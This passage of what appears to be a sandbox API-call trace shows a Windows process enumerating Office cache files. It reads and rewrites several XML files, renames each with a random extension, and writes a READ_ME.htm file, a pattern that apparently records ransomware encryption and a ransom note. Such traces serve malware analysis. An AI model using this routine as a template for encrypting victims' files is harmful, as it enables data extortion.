ftLastWriteTime.dwLowDateTime=0xcabfcaa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d3bac20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7d3bac20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca1b9b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x960aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a23d2d0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3a23d2d0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb93d85b0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2ccbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64WW.cab", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x870a50a0, ftCreationTime.dwHighDateTime=0x1d0ca7c, ftLastAccessTime.dwLowDateTime=0x870a50a0, ftLastAccessTime.dwHighDateTime=0x1d0ca7c, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x137258, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16fad80, ftCreationTime.dwHighDateTime=0x1d0ca8d, ftLastAccessTime.dwLowDateTime=0x16fad80, ftLastAccessTime.dwHighDateTime=0x1d0ca8d, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19453d90, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x19453d90, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xbb7ffba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20df7960, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x20df7960, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xbb7685c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa9bd76f0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xa9bd76f0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xbcba2950, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x13496c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW.cab", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ecd5a60, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x9ecd5a60, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xc4980430, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xed9cec7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW2.cab", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e3d3da0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7e3d3da0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x946c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.dll", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f377c20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7f377c20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x39cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0131.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0131.161] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0131.162] SetErrorMode (uMode=0x0) returned 0x1 [0131.348] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", lpFilePart=0x0) returned 0x4d [0131.348] SetErrorMode (uMode=0x1) returned 0x0 [0131.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1bc [0131.349] GetFileType (hFile=0x1bc) returned 0x1 [0131.349] SetErrorMode (uMode=0x0) returned 0x1 [0131.349] GetFileType (hFile=0x1bc) returned 0x1 [0131.351] GetFileSize (in: hFile=0x1bc, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x1380 [0131.355] ReadFile (in: hFile=0x1bc, lpBuffer=0x2912428, nNumberOfBytesToRead=0x1380, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2912428*, lpNumberOfBytesRead=0x21d4d8*=0x1380, lpOverlapped=0x0) returned 1 [0131.358] CloseHandle (hObject=0x1bc) returned 1 [0131.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x21cec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0131.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0131.447] SetErrorMode (uMode=0x1) returned 0x0 [0131.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x21d1c0 | out: lpFileInformation=0x21d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0131.449] SetErrorMode (uMode=0x0) returned 0x1 [0131.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x21cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0131.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0131.701] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x21cb50 | out: pfEnabled=0x21cb50) returned 0x0 [0132.609] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", lpFilePart=0x0) returned 0x4d [0132.609] SetErrorMode (uMode=0x1) returned 0x0 [0132.609] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0132.610] GetFileType (hFile=0x1d0) returned 0x1 [0132.610] SetErrorMode (uMode=0x0) returned 0x1 [0132.610] GetFileType (hFile=0x1d0) returned 0x1 [0132.610] WriteFile (in: hFile=0x1d0, lpBuffer=0x289a998*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x289a998*, lpNumberOfBytesWritten=0x21d558*=0x1390, lpOverlapped=0x0) returned 1 [0132.611] CloseHandle (hObject=0x1d0) returned 1 [0132.817] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml", lpFilePart=0x0) returned 0x4d [0132.817] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.22n576", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.22n576", lpFilePart=0x0) returned 0x54 [0132.817] SetErrorMode (uMode=0x1) returned 0x0 [0132.817] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12e83a80, ftCreationTime.dwHighDateTime=0x1d0cbb6, ftLastAccessTime.dwLowDateTime=0x12e83a80, ftLastAccessTime.dwHighDateTime=0x1d0cbb6, ftLastWriteTime.dwLowDateTime=0x4ba1e7c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1390)) returned 1 [0132.818] SetErrorMode (uMode=0x0) returned 0x1 [0132.819] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.22n576" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.xml.22n576")) returned 1 [0132.821] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", lpFilePart=0x0) returned 0x4c [0132.821] SetErrorMode (uMode=0x1) returned 0x0 [0132.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0132.834] GetFileType (hFile=0x1d0) returned 0x1 [0132.835] SetErrorMode (uMode=0x0) returned 0x1 [0132.835] GetFileType (hFile=0x1d0) returned 0x1 [0132.835] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x42d4 [0132.835] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a3050, nNumberOfBytesToRead=0x42d4, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28a3050*, lpNumberOfBytesRead=0x21d4d8*=0x42d4, lpOverlapped=0x0) returned 1 [0132.911] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", lpFilePart=0x0) returned 0x4c [0132.912] SetErrorMode (uMode=0x1) returned 0x0 [0132.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0132.913] GetFileType (hFile=0x1d0) returned 0x1 [0132.913] SetErrorMode (uMode=0x0) returned 0x1 [0132.913] GetFileType (hFile=0x1d0) returned 0x1 [0132.913] WriteFile (in: hFile=0x1d0, lpBuffer=0x2997cd0*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2997cd0*, lpNumberOfBytesWritten=0x21d558*=0x42e0, lpOverlapped=0x0) returned 1 [0132.916] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml", lpFilePart=0x0) returned 0x4c [0132.916] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.ap83un", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.ap83un", lpFilePart=0x0) returned 0x53 [0132.916] SetErrorMode (uMode=0x1) returned 0x0 [0132.916] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20df7960, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x20df7960, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0x4bcf21e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x42e0)) returned 1 [0132.917] SetErrorMode (uMode=0x0) returned 0x1 [0132.917] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.ap83un" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.xml.ap83un")) returned 1 [0132.918] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0132.918] SetErrorMode (uMode=0x1) returned 0x0 [0132.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0132.919] GetFileType (hFile=0x1d0) returned 0x1 [0132.919] SetErrorMode (uMode=0x0) returned 0x1 [0132.919] GetFileType (hFile=0x1d0) returned 0x1 [0132.919] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x6c86 [0132.920] ReadFile (in: hFile=0x1d0, lpBuffer=0x299d170, nNumberOfBytesToRead=0x6c86, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x299d170*, lpNumberOfBytesRead=0x21d4d8*=0x6c86, lpOverlapped=0x0) returned 1 [0133.034] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.034] SetErrorMode (uMode=0x1) returned 0x0 [0133.035] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.036] GetFileType (hFile=0x1d0) returned 0x1 [0133.036] SetErrorMode (uMode=0x0) returned 0x1 [0133.036] GetFileType (hFile=0x1d0) returned 0x1 [0133.036] WriteFile (in: hFile=0x1d0, lpBuffer=0x28add18*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x28add18*, lpNumberOfBytesWritten=0x21d558*=0x6c90, lpOverlapped=0x0) returned 1 [0133.038] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.038] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml.9oec2w", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml.9oec2w", lpFilePart=0x0) returned 0x4f [0133.038] SetErrorMode (uMode=0x1) returned 0x0 [0133.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4be22ce0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6c90)) returned 1 [0133.039] SetErrorMode (uMode=0x0) returned 0x1 [0133.039] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Setup.xml.9oec2w" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\setup.xml.9oec2w")) returned 1 [0133.040] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0133.040] SetErrorMode (uMode=0x1) returned 0x0 [0133.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0133.041] GetFileType (hFile=0x1d0) returned 0x1 [0133.041] SetErrorMode (uMode=0x0) returned 0x1 [0133.041] GetFileType (hFile=0x1d0) returned 0x1 [0133.041] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b8b40*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28b8b40*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0133.043] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.043] SetErrorMode (uMode=0x1) returned 0x0 [0133.043] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.044] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd2053610, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x58095e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0133.044] FindNextFileW (in: 